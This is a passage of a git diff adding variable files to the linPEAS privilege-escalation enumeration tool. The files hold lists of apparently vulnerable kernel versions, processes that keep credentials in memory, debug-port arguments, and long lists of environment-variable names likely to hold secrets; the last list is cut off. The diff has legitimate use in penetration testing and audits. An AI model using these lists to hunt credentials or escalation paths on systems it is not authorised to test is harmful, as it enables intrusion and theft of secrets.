+kernelDCW_Rhel7="3.10.0-229.rt56.141.el7|3.10.0-229.1.2.rt56.141.2.el7_1|3.10.0-229.4.2.rt56.141.6.el7_1|3.10.0-229.7.2.rt56.141.6.el7_1|3.10.0-229.11.1.rt56.141.11.el7_1|3.10.0-229.14.1.rt56.141.13.el7_1|3.10.0-229.20.1.rt56.141.14.el7_1|3.10.0-229.rt56.141.el7|3.10.0-327.rt56.204.el7|3.10.0-327.4.5.rt56.206.el7_2|3.10.0-327.10.1.rt56.211.el7_2|3.10.0-327.13.1.rt56.216.el7_2|3.10.0-327.18.2.rt56.223.el7_2|3.10.0-327.22.2.rt56.230.el7_2|3.10.0-327.28.2.rt56.234.el7_2|3.10.0-327.28.3.rt56.235.el7|3.10.0-327.36.1.rt56.237.el7|3.10.0-123.el7|3.10.0-123.1.2.el7|3.10.0-123.4.2.el7|3.10.0-123.4.4.el7|3.10.0-123.6.3.el7|3.10.0-123.8.1.el7|3.10.0-123.9.2.el7|3.10.0-123.9.3.el7|3.10.0-123.13.1.el7|3.10.0-123.13.2.el7|3.10.0-123.20.1.el7|3.10.0-229.el7|3.10.0-229.1.2.el7|3.10.0-229.4.2.el7|3.10.0-229.7.2.el7|3.10.0-229.11.1.el7|3.10.0-229.14.1.el7|3.10.0-229.20.1.el7|3.10.0-229.24.2.el7|3.10.0-229.26.2.el7|3.10.0-229.28.1.el7|3.10.0-229.30.1.el7|3.10.0-229.34.1.el7|3.10.0-229.38.1.el7|3.10.0-229.40.1.el7|3.10.0-229.42.1.el7|3.10.0-327.el7|3.10.0-327.3.1.el7|3.10.0-327.4.4.el7|3.10.0-327.4.5.el7|3.10.0-327.10.1.el7|3.10.0-327.13.1.el7|3.10.0-327.18.2.el7|3.10.0-327.22.2.el7|3.10.0-327.28.2.el7|3.10.0-327.28.3.el7|3.10.0-327.36.1.el7|3.10.0-327.36.2.el7|3.10.0-229.1.2.ael7b|3.10.0-229.4.2.ael7b|3.10.0-229.7.2.ael7b|3.10.0-229.11.1.ael7b|3.10.0-229.14.1.ael7b|3.10.0-229.20.1.ael7b|3.10.0-229.24.2.ael7b|3.10.0-229.26.2.ael7b|3.10.0-229.28.1.ael7b|3.10.0-229.30.1.ael7b|3.10.0-229.34.1.ael7b|3.10.0-229.38.1.ael7b|3.10.0-229.40.1.ael7b|3.10.0-229.42.1.ael7b|4.2.0-0.21.el7" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/knw_emails.sh b/linPEAS/builder/linpeas_parts/variables/knw_emails.sh new file mode 100644 index 0000000..18e7d39 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/knw_emails.sh @@ -0,0 +1,16 @@ +# Title: Variables - knw_emails +# ID: knw_emails +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Known email addresses +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $knw_emails +# Fat linpeas: 0 +# Small linpeas: 1 + + +knw_emails=".*@aivazian.fsnet.co.uk|.*@angband.pl|.*@canonical.com|.*centos.org|.*debian.net|.*debian.org|.*@jff.email|.*kali.org|.*linux.it|.*@linuxia.de|.*@lists.debian-maintainers.org|.*@mit.edu|.*@oss.sgi.com|.*@qualcomm.com|.*redhat.com|.*ubuntu.com|.*@vger.kernel.org|mmyangfl@gmail.com|rogershimizu@gmail.com|thmarques@gmail.com" diff --git a/linPEAS/builder/linpeas_parts/variables/knw_grps.sh b/linPEAS/builder/linpeas_parts/variables/knw_grps.sh new file mode 100644 index 0000000..cbcfc18 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/knw_grps.sh @@ -0,0 +1,16 @@ +# Title: Variables - knw_grps +# ID: knw_grps +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Known groups +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $knw_grps +# Fat linpeas: 0 +# Small linpeas: 1 + + +knw_grps='\(lpadmin\)|\(cdrom\)|\(plugdev\)|\(nogroup\)' #https://www.togaware.com/linux/survivor/Standard_Groups.html diff --git a/linPEAS/builder/linpeas_parts/variables/knw_usrs.sh b/linPEAS/builder/linpeas_parts/variables/knw_usrs.sh new file mode 100644 index 0000000..cdcb875 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/knw_usrs.sh @@ -0,0 +1,16 @@ +# Title: Variables - knw_usrs +# ID: knw_usrs +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Known users +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $knw_usrs +# Fat linpeas: 0 +# Small linpeas: 1 + + +knw_usrs='_amavisd|_analyticsd|_appinstalld|_appleevents|_applepay|_appowner|_appserver|_appstore|_ard|_assetcache|_astris|_atsserver|_avbdeviced|_calendar|_captiveagent|_ces|_clamav|_cmiodalassistants|_coreaudiod|_coremediaiod|_coreml|_ctkd|_cvmsroot|_cvs|_cyrus|_datadetectors|_demod|_devdocs|_devicemgr|_diskimagesiod|_displaypolicyd|_distnote|_dovecot|_dovenull|_dpaudio|_driverkit|_eppc|_findmydevice|_fpsd|_ftp|_fud|_gamecontrollerd|_geod|_hidd|_iconservices|_installassistant|_installcoordinationd|_installer|_jabber|_kadmin_admin|_kadmin_changepw|_knowledgegraphd|_krb_anonymous|_krb_changepw|_krb_kadmin|_krb_kerberos|_krb_krbtgt|_krbfast|_krbtgt|_launchservicesd|_lda|_locationd|_logd|_lp|_mailman|_mbsetupuser|_mcxalr|_mdnsresponder|_mobileasset|_mysql|_nearbyd|_netbios|_netstatistics|_networkd|_nsurlsessiond|_nsurlstoraged|_oahd|_ondemand|_postfix|_postgres|_qtss|_reportmemoryexception|_rmd|_sandbox|_screensaver|_scsd|_securityagent|_softwareupdate|_spotlight|_sshd|_svn|_taskgated|_teamsserver|_timed|_timezone|_tokend|_trustd|_trustevaluationagent|_unknown|_update_sharing|_usbmuxd|_uucp|_warmd|_webauthserver|_windowserver|_www|_wwwproxy|_xserverdocs|daemon\W|^daemon$|message\+|syslog|www|www-data|mail|noboby|Debian\-\+|rtkit|systemd\+' \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/ldsoconfdG.sh b/linPEAS/builder/linpeas_parts/variables/ldsoconfdG.sh new file mode 100644 index 0000000..f1d1f16 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/ldsoconfdG.sh @@ -0,0 +1,16 @@ +# Title: Variables - ldsoconfdG +# ID: ldsoconfdG +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Knwon ldso.conf.d directories +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $ldsoconfdG +# Fat linpeas: 0 +# Small linpeas: 1 + + +ldsoconfdG="/lib32|/lib/x86_64-linux-gnu|/usr/lib32|/usr/lib/oracle/19.6/client64/lib/|/usr/lib/x86_64-linux-gnu/libfakeroot|/usr/lib/x86_64-linux-gnu|/usr/local/lib/x86_64-linux-gnu|/usr/local/lib" diff --git a/linPEAS/builder/linpeas_parts/variables/mail_apps.sh b/linPEAS/builder/linpeas_parts/variables/mail_apps.sh new file mode 100644 index 0000000..e1c69be --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/mail_apps.sh @@ -0,0 +1,16 @@ +# Title: Variables - mail_apps +# ID: mail_apps +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Known mail applications +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $mail_apps +# Fat linpeas: 0 +# Small linpeas: 1 + + +mail_apps="Postfix|Dovecot|Exim|SquirrelMail|Cyrus|Sendmail|Courier" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/mountG.sh b/linPEAS/builder/linpeas_parts/variables/mountG.sh new file mode 100644 index 0000000..50fb6ed --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/mountG.sh @@ -0,0 +1,16 @@ +# Title: Variables - mountG +# ID: mountG +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Known mount points +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $mountG +# Fat linpeas: 0 +# Small linpeas: 1 + + +mountG="swap|/cdrom|/floppy|/dev/shm" diff --git a/linPEAS/builder/linpeas_parts/variables/mounted.sh b/linPEAS/builder/linpeas_parts/variables/mounted.sh new file mode 100644 index 0000000..c059bd5 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/mounted.sh @@ -0,0 +1,20 @@ +# Title: Variables - mounted +# ID: mounted +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Find mounted folders +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $mounted +# Fat linpeas: 0 +# Small linpeas: 1 + + +mounted=$( (cat /proc/self/mountinfo || cat /proc/1/mountinfo) 2>/dev/null | cut -d " " -f5 | grep "^/" | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}') +if ! [ "$mounted" ]; then + mounted=$( (mount -l || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts) 2>/dev/null | grep "^/" | cut -d " " -f1 | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}') +fi +if ! [ "$mounted" ]; then mounted="ImPoSSssSiBlEee"; fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/mountpermsB.sh b/linPEAS/builder/linpeas_parts/variables/mountpermsB.sh new file mode 100644 index 0000000..0df2fbd --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/mountpermsB.sh @@ -0,0 +1,16 @@ +# Title: Variables - mountpermsB +# ID: mountpermsB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Dangerous known mount points +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $mountpermsB +# Fat linpeas: 0 +# Small linpeas: 1 + + +mountpermsB="\Wsuid|\Wuser|\Wexec" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/mountpermsG.sh b/linPEAS/builder/linpeas_parts/variables/mountpermsG.sh new file mode 100644 index 0000000..b595f5b --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/mountpermsG.sh @@ -0,0 +1,16 @@ +# Title: Variables - mountpermsG +# ID: mountpermsG +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Good known mount points +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $mountpermsG +# Fat linpeas: 0 +# Small linpeas: 1 + + +mountpermsG="nosuid|nouser|noexec" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/mygroups.sh b/linPEAS/builder/linpeas_parts/variables/mygroups.sh new file mode 100644 index 0000000..0a75283 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/mygroups.sh @@ -0,0 +1,16 @@ +# Title: Variables - mygroups +# ID: mygroups +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: My groups +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $mygroups +# Fat linpeas: 0 +# Small linpeas: 1 + + +mygroups=$(groups 2>/dev/null | tr " " "|") diff --git a/linPEAS/builder/linpeas_parts/variables/notBackup.sh b/linPEAS/builder/linpeas_parts/variables/notBackup.sh new file mode 100644 index 0000000..02e4f06 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/notBackup.sh @@ -0,0 +1,16 @@ +# Title: Variables - notBackup +# ID: notBackup +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Not interesting backup folders +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $notBackup +# Fat linpeas: 0 +# Small linpeas: 1 + + +notBackup="/tdbbackup$|/db_hotbackup$" diff --git a/linPEAS/builder/linpeas_parts/variables/notExtensions.sh b/linPEAS/builder/linpeas_parts/variables/notExtensions.sh new file mode 100644 index 0000000..956f8f4 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/notExtensions.sh @@ -0,0 +1,16 @@ +# Title: Variables - notExtensions +# ID: notExtensions +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Not interesting extensions +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $notExtensions +# Fat linpeas: 0 +# Small linpeas: 1 + + +notExtensions="\.tif$|\.tiff$|\.gif$|\.jpeg$|\.jpg|\.jif$|\.jfif$|\.jp2$|\.jpx$|\.j2k$|\.j2c$|\.fpx$|\.pcd$|\.png$|\.pdf$|\.flv$|\.mp4$|\.mp3$|\.gifv$|\.avi$|\.mov$|\.mpeg$|\.wav$|\.doc$|\.docx$|\.xls$|\.xlsx$|\.svg$" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/notmounted.sh b/linPEAS/builder/linpeas_parts/variables/notmounted.sh new file mode 100644 index 0000000..ddb12e9 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/notmounted.sh @@ -0,0 +1,16 @@ +# Title: Variables - notmounted +# ID: notmounted +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Not mounted folders +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $mountG, $mounted +# Initial Functions: +# Generated Global Variables: $notmounted +# Fat linpeas: 0 +# Small linpeas: 1 + + +notmounted=$(cat /etc/fstab 2>/dev/null | grep "^/" | grep -Ev "$mountG" | awk '{print $1}' | grep -Ev "$mounted" | tr '\n' '|')"ImPoSSssSiBlEee" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/processesB.sh b/linPEAS/builder/linpeas_parts/variables/processesB.sh new file mode 100644 index 0000000..d62d76b --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/processesB.sh @@ -0,0 +1,16 @@ +# Title: Variables - processesB +# ID: processesB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Dangerous known processes +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $processesB +# Fat linpeas: 0 +# Small linpeas: 1 + + +processesB="amazon-ssm-agent|knockd|splunk" diff --git a/linPEAS/builder/linpeas_parts/variables/processesDump.sh b/linPEAS/builder/linpeas_parts/variables/processesDump.sh new file mode 100644 index 0000000..f6820af --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/processesDump.sh @@ -0,0 +1,16 @@ +# Title: Variables - processesDump +# ID: processesDump +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Known processes with creds in mem +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $processesDump +# Fat linpeas: 0 +# Small linpeas: 1 + + +processesDump="gdm-password|gnome-keyring-daemon|lightdm|vsftpd|apache2|sshd:" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/processesVB.sh b/linPEAS/builder/linpeas_parts/variables/processesVB.sh new file mode 100644 index 0000000..1103d6c --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/processesVB.sh @@ -0,0 +1,16 @@ +# Title: Variables - processesVB +# ID: processesVB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Very dangerous known processes parameters +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $processesVB +# Fat linpeas: 0 +# Small linpeas: 1 + + +processesVB='jdwp|tmux |screen | inspect |--inspect[= ]|--inspect$|--inpect-brk|--remote-debugging-port' \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/profiledG.sh b/linPEAS/builder/linpeas_parts/variables/profiledG.sh new file mode 100644 index 0000000..3835474 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/profiledG.sh @@ -0,0 +1,16 @@ +# Title: Variables - profiledG +# ID: profiledG +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Known profile files +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $profiledG +# Fat linpeas: 0 +# Small linpeas: 1 + + +profiledG="01-locale-fix.sh|256term.csh|256term.sh|abrt-console-notification.sh|appmenu-qt5.sh|apps-bin-path.sh|bash_completion.sh|cedilla-portuguese.sh|colorgrep.csh|colorgrep.sh|colorls.csh|colorls.sh|colorxzgrep.csh|colorxzgrep.sh|colorzgrep.csh|colorzgrep.sh|csh.local|cursor.sh|gawk.csh|gawk.sh|im-config_wayland.sh|kali.sh|lang.csh|lang.sh|less.csh|less.sh|flatpak.sh|sh.local|vim.csh|vim.sh|vte.csh|vte-2.91.sh|which2.csh|which2.sh|xauthority.sh|Z97-byobu.sh|xdg_dirs_desktop_session.sh|Z99-cloudinit-warnings.sh|Z99-cloud-locale-test.sh" diff --git a/linPEAS/builder/linpeas_parts/variables/pwd_in_variables.sh b/linPEAS/builder/linpeas_parts/variables/pwd_in_variables.sh new file mode 100644 index 0000000..5e098d6 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/pwd_in_variables.sh @@ -0,0 +1,27 @@ +# Title: Variables - pwd_in_variables +# ID: pwd_in_variables +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Variables which could contain passwords +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $pwd_in_variables1, $pwd_in_variables2, $pwd_in_variables3, $pwd_in_variables4, $pwd_in_variables5, $pwd_in_variables6, $pwd_in_variables7, $pwd_in_variables8, $pwd_in_variables9, $pwd_in_variables10, $pwd_in_variables11 +# Fat linpeas: 0 +# Small linpeas: 1 + + +peass{VARIABLES} +pwd_in_variables1="Dgpg.passphrase|Dsonar.login|Dsonar.projectKey|GITHUB_TOKEN|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|PUSHOVER_TOKEN|PUSHOVER_USER|VIRUSTOTAL_APIKEY|ACCESSKEY|ACCESSKEYID|ACCESS_KEY|ACCESS_KEY_ID|ACCESS_KEY_SECRET|ACCESS_SECRET|ACCESS_TOKEN|ACCOUNT_SID|ADMIN_EMAIL|ADZERK_API_KEY|ALGOLIA_ADMIN_KEY_1|ALGOLIA_ADMIN_KEY_2|ALGOLIA_ADMIN_KEY_MCM|ALGOLIA_API_KEY|ALGOLIA_API_KEY_MCM|ALGOLIA_API_KEY_SEARCH|ALGOLIA_APPLICATION_ID|ALGOLIA_APPLICATION_ID_1|ALGOLIA_APPLICATION_ID_2|ALGOLIA_APPLICATION_ID_MCM|ALGOLIA_APP_ID|ALGOLIA_APP_ID_MCM|ALGOLIA_SEARCH_API_KEY|ALGOLIA_SEARCH_KEY|ALGOLIA_SEARCH_KEY_1|ALIAS_NAME|ALIAS_PASS|ALICLOUD_ACCESS_KEY|ALICLOUD_SECRET_KEY|amazon_bucket_name|AMAZON_SECRET_ACCESS_KEY|ANDROID_DOCS_DEPLOY_TOKEN|android_sdk_license|android_sdk_preview_license|aos_key|aos_sec|APIARY_API_KEY|APIGW_ACCESS_TOKEN|API_KEY|API_KEY_MCM|API_KEY_SECRET|API_KEY_SID|API_SECRET|appClientSecret|APP_BUCKET_PERM|APP_NAME|APP_REPORT_TOKEN_KEY|APP_TOKEN|ARGOS_TOKEN|ARTIFACTORY_KEY|ARTIFACTS_AWS_ACCESS_KEY_ID|ARTIFACTS_AWS_SECRET_ACCESS_KEY|ARTIFACTS_BUCKET|ARTIFACTS_KEY|ARTIFACTS_SECRET|ASSISTANT_IAM_APIKEY|AURORA_STRING_URL|AUTH0_API_CLIENTID|AUTH0_API_CLIENTSECRET|AUTH0_AUDIENCE|AUTH0_CALLBACK_URL|AUTH0_CLIENT_ID" +pwd_in_variables2="AUTH0_CLIENT_SECRET|AUTH0_CONNECTION|AUTH0_DOMAIN|AUTHOR_EMAIL_ADDR|AUTHOR_NPM_API_KEY|AUTH_TOKEN|AWS-ACCT-ID|AWS-KEY|AWS-SECRETS|AWS.config.accessKeyId|AWS.config.secretAccessKey|AWSACCESSKEYID|AWSCN_ACCESS_KEY_ID|AWSCN_SECRET_ACCESS_KEY|AWSSECRETKEY|AWS_ACCESS|AWS_ACCESS_KEY|AWS_ACCESS_KEY_ID|AWS_CF_DIST_ID|AWS_DEFAULT|AWS_DEFAULT_REGION|AWS_S3_BUCKET|AWS_SECRET|AWS_SECRET_ACCESS_KEY|AWS_SECRET_KEY|AWS_SES_ACCESS_KEY_ID|AWS_SES_SECRET_ACCESS_KEY|B2_ACCT_ID|B2_APP_KEY|B2_BUCKET|baseUrlTravis|bintrayKey|bintrayUser|BINTRAY_APIKEY|BINTRAY_API_KEY|BINTRAY_KEY|BINTRAY_TOKEN|BINTRAY_USER|BLUEMIX_ACCOUNT|BLUEMIX_API_KEY|BLUEMIX_AUTH|BLUEMIX_NAMESPACE|BLUEMIX_ORG|BLUEMIX_ORGANIZATION|BLUEMIX_PASS|BLUEMIX_PASS_PROD|BLUEMIX_SPACE|BLUEMIX_USER|BRACKETS_REPO_OAUTH_TOKEN|BROWSERSTACK_ACCESS_KEY|BROWSERSTACK_PROJECT_NAME|BROWSER_STACK_ACCESS_KEY|BUCKETEER_AWS_ACCESS_KEY_ID|BUCKETEER_AWS_SECRET_ACCESS_KEY|BUCKETEER_BUCKET_NAME|BUILT_BRANCH_DEPLOY_KEY|BUNDLESIZE_GITHUB_TOKEN|CACHE_S3_SECRET_KEY|CACHE_URL|CARGO_TOKEN|CATTLE_ACCESS_KEY|CATTLE_AGENT_INSTANCE_AUTH|CATTLE_SECRET_KEY|CC_TEST_REPORTER_ID|CC_TEST_REPOTER_ID|CENSYS_SECRET|CENSYS_UID|CERTIFICATE_OSX_P12|CF_ORGANIZATION|CF_PROXY_HOST|channelId|CHEVERNY_TOKEN|CHROME_CLIENT_ID" +pwd_in_variables3="CHROME_CLIENT_SECRET|CHROME_EXTENSION_ID|CHROME_REFRESH_TOKEN|CI_DEPLOY_USER|CI_NAME|CI_PROJECT_NAMESPACE|CI_PROJECT_URL|CI_REGISTRY_USER|CI_SERVER_NAME|CI_USER_TOKEN|CLAIMR_DATABASE|CLAIMR_DB|CLAIMR_SUPERUSER|CLAIMR_TOKEN|CLIENT_ID|CLIENT_SECRET|CLI_E2E_CMA_TOKEN|CLI_E2E_ORG_ID|CLOUDAMQP_URL|CLOUDANT_APPLIANCE_DATABASE|CLOUDANT_ARCHIVED_DATABASE|CLOUDANT_AUDITED_DATABASE|CLOUDANT_DATABASE|CLOUDANT_ORDER_DATABASE|CLOUDANT_PARSED_DATABASE|CLOUDANT_PROCESSED_DATABASE|CLOUDANT_SERVICE_DATABASE|CLOUDFLARE_API_KEY|CLOUDFLARE_AUTH_EMAIL|CLOUDFLARE_AUTH_KEY|CLOUDFLARE_EMAIL|CLOUDFLARE_ZONE_ID|CLOUDINARY_URL|CLOUDINARY_URL_EU|CLOUDINARY_URL_STAGING|CLOUD_API_KEY|CLUSTER_NAME|CLU_REPO_URL|CLU_SSH_PRIVATE_KEY_BASE64|CN_ACCESS_KEY_ID|CN_SECRET_ACCESS_KEY|COCOAPODS_TRUNK_EMAIL|COCOAPODS_TRUNK_TOKEN|CODACY_PROJECT_TOKEN|CODECLIMATE_REPO_TOKEN|CODECOV_TOKEN|coding_token|CONEKTA_APIKEY|CONFIGURATION_PROFILE_SID|CONFIGURATION_PROFILE_SID_P2P|CONFIGURATION_PROFILE_SID_SFU|CONSUMERKEY|CONSUMER_KEY|CONTENTFUL_ACCESS_TOKEN|CONTENTFUL_CMA_TEST_TOKEN|CONTENTFUL_INTEGRATION_MANAGEMENT_TOKEN|CONTENTFUL_INTEGRATION_SOURCE_SPACE|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN_NEW|CONTENTFUL_ORGANIZATION" +pwd_in_variables4="CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN|CONTENTFUL_TEST_ORG_CMA_TOKEN|CONTENTFUL_V2_ACCESS_TOKEN|CONTENTFUL_V2_ORGANIZATION|CONVERSATION_URL|COREAPI_HOST|COS_SECRETS|COVERALLS_API_TOKEN|COVERALLS_REPO_TOKEN|COVERALLS_SERVICE_NAME|COVERALLS_TOKEN|COVERITY_SCAN_NOTIFICATION_EMAIL|COVERITY_SCAN_TOKEN|CYPRESS_RECORD_KEY|DANGER_GITHUB_API_TOKEN|DATABASE_HOST|DATABASE_NAME|DATABASE_PORT|DATABASE_USER|DATABASE_PASSWORD|datadog_api_key|datadog_app_key|DB_CONNECTION|DB_DATABASE|DB_HOST|DB_PORT|DB_PW|DB_USER|DDGC_GITHUB_TOKEN|DDG_TEST_EMAIL|DDG_TEST_EMAIL_PW|DEPLOY_DIR|DEPLOY_DIRECTORY|DEPLOY_HOST|DEPLOY_PORT|DEPLOY_SECURE|DEPLOY_TOKEN|DEPLOY_USER|DEST_TOPIC|DHL_SOLDTOACCOUNTID|DH_END_POINT_1|DH_END_POINT_2|DIGITALOCEAN_ACCESS_TOKEN|DIGITALOCEAN_SSH_KEY_BODY|DIGITALOCEAN_SSH_KEY_IDS|DOCKER_EMAIL|DOCKER_KEY|DOCKER_PASSDOCKER_POSTGRES_URL|DOCKER_RABBITMQ_HOST|docker_repo|DOCKER_TOKEN|DOCKER_USER|DOORDASH_AUTH_TOKEN|DROPBOX_OAUTH_BEARER|ELASTICSEARCH_HOST|ELASTIC_CLOUD_AUTH|env.GITHUB_OAUTH_TOKEN|env.HEROKU_API_KEY|ENV_KEY|ENV_SECRET|ENV_SECRET_ACCESS_KEY|eureka.awsAccessId" +pwd_in_variables5="eureka.awsSecretKey|ExcludeRestorePackageImports|EXPORT_SPACE_ID|FIREBASE_API_JSON|FIREBASE_API_TOKEN|FIREBASE_KEY|FIREBASE_PROJECT|FIREBASE_PROJECT_DEVELOP|FIREBASE_PROJECT_ID|FIREBASE_SERVICE_ACCOUNT|FIREBASE_TOKEN|FIREFOX_CLIENT|FIREFOX_ISSUER|FIREFOX_SECRET|FLASK_SECRET_KEY|FLICKR_API_KEY|FLICKR_API_SECRET|FOSSA_API_KEY|ftp_host|FTP_LOGIN|FTP_PW|FTP_USER|GCLOUD_BUCKET|GCLOUD_PROJECT|GCLOUD_SERVICE_KEY|GCS_BUCKET|GHB_TOKEN|GHOST_API_KEY|GH_API_KEY|GH_EMAIL|GH_NAME|GH_NEXT_OAUTH_CLIENT_ID|GH_NEXT_OAUTH_CLIENT_SECRET|GH_NEXT_UNSTABLE_OAUTH_CLIENT_ID|GH_NEXT_UNSTABLE_OAUTH_CLIENT_SECRET|GH_OAUTH_CLIENT_ID|GH_OAUTH_CLIENT_SECRET|GH_OAUTH_TOKEN|GH_REPO_TOKEN|GH_TOKEN|GH_UNSTABLE_OAUTH_CLIENT_ID|GH_UNSTABLE_OAUTH_CLIENT_SECRET|GH_USER_EMAIL|GH_USER_NAME|GITHUB_ACCESS_TOKEN|GITHUB_API_KEY|GITHUB_API_TOKEN|GITHUB_AUTH|GITHUB_AUTH_TOKEN|GITHUB_AUTH_USER|GITHUB_CLIENT_ID|GITHUB_CLIENT_SECRET|GITHUB_DEPLOYMENT_TOKEN|GITHUB_DEPLOY_HB_DOC_PASS|GITHUB_HUNTER_TOKEN|GITHUB_KEY|GITHUB_OAUTH|GITHUB_OAUTH_TOKEN|GITHUB_RELEASE_TOKEN|GITHUB_REPO|GITHUB_TOKEN|GITHUB_TOKENS|GITHUB_USER|GITLAB_USER_EMAIL|GITLAB_USER_LOGIN|GIT_AUTHOR_EMAIL|GIT_AUTHOR_NAME|GIT_COMMITTER_EMAIL|GIT_COMMITTER_NAME|GIT_EMAIL|GIT_NAME|GIT_TOKEN|GIT_USER" +pwd_in_variables6="GOOGLE_CLIENT_EMAIL|GOOGLE_CLIENT_ID|GOOGLE_CLIENT_SECRET|GOOGLE_MAPS_API_KEY|GOOGLE_PRIVATE_KEY|gpg.passphrase|GPG_EMAIL|GPG_ENCRYPTION|GPG_EXECUTABLE|GPG_KEYNAME|GPG_KEY_NAME|GPG_NAME|GPG_OWNERTRUST|GPG_PASSPHRASE|GPG_PRIVATE_KEY|GPG_SECRET_KEYS|gradle.publish.key|gradle.publish.secret|GRADLE_SIGNING_KEY_ID|GREN_GITHUB_TOKEN|GRGIT_USER|HAB_AUTH_TOKEN|HAB_KEY|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|HEROKU_API_KEY|HEROKU_API_USER|HEROKU_EMAIL|HEROKU_TOKEN|HOCKEYAPP_TOKEN|INTEGRATION_TEST_API_KEY|INTEGRATION_TEST_APPID|INTERNAL-SECRETS|IOS_DOCS_DEPLOY_TOKEN|IRC_NOTIFICATION_CHANNEL|JDBC:MYSQL|jdbc_databaseurl|jdbc_host|jdbc_user|JWT_SECRET|KAFKA_ADMIN_URL|KAFKA_INSTANCE_NAME|KAFKA_REST_URL|KEYSTORE_PASS|KOVAN_PRIVATE_KEY|LEANPLUM_APP_ID|LEANPLUM_KEY|LICENSES_HASH|LICENSES_HASH_TWO|LIGHTHOUSE_API_KEY|LINKEDIN_CLIENT_ID|LINKEDIN_CLIENT_SECRET|LINODE_INSTANCE_ID|LINODE_VOLUME_ID|LINUX_SIGNING_KEY|LL_API_SHORTNAME|LL_PUBLISH_URL|LL_SHARED_KEY|LOOKER_TEST_RUNNER_CLIENT_ID|LOOKER_TEST_RUNNER_CLIENT_SECRET|LOOKER_TEST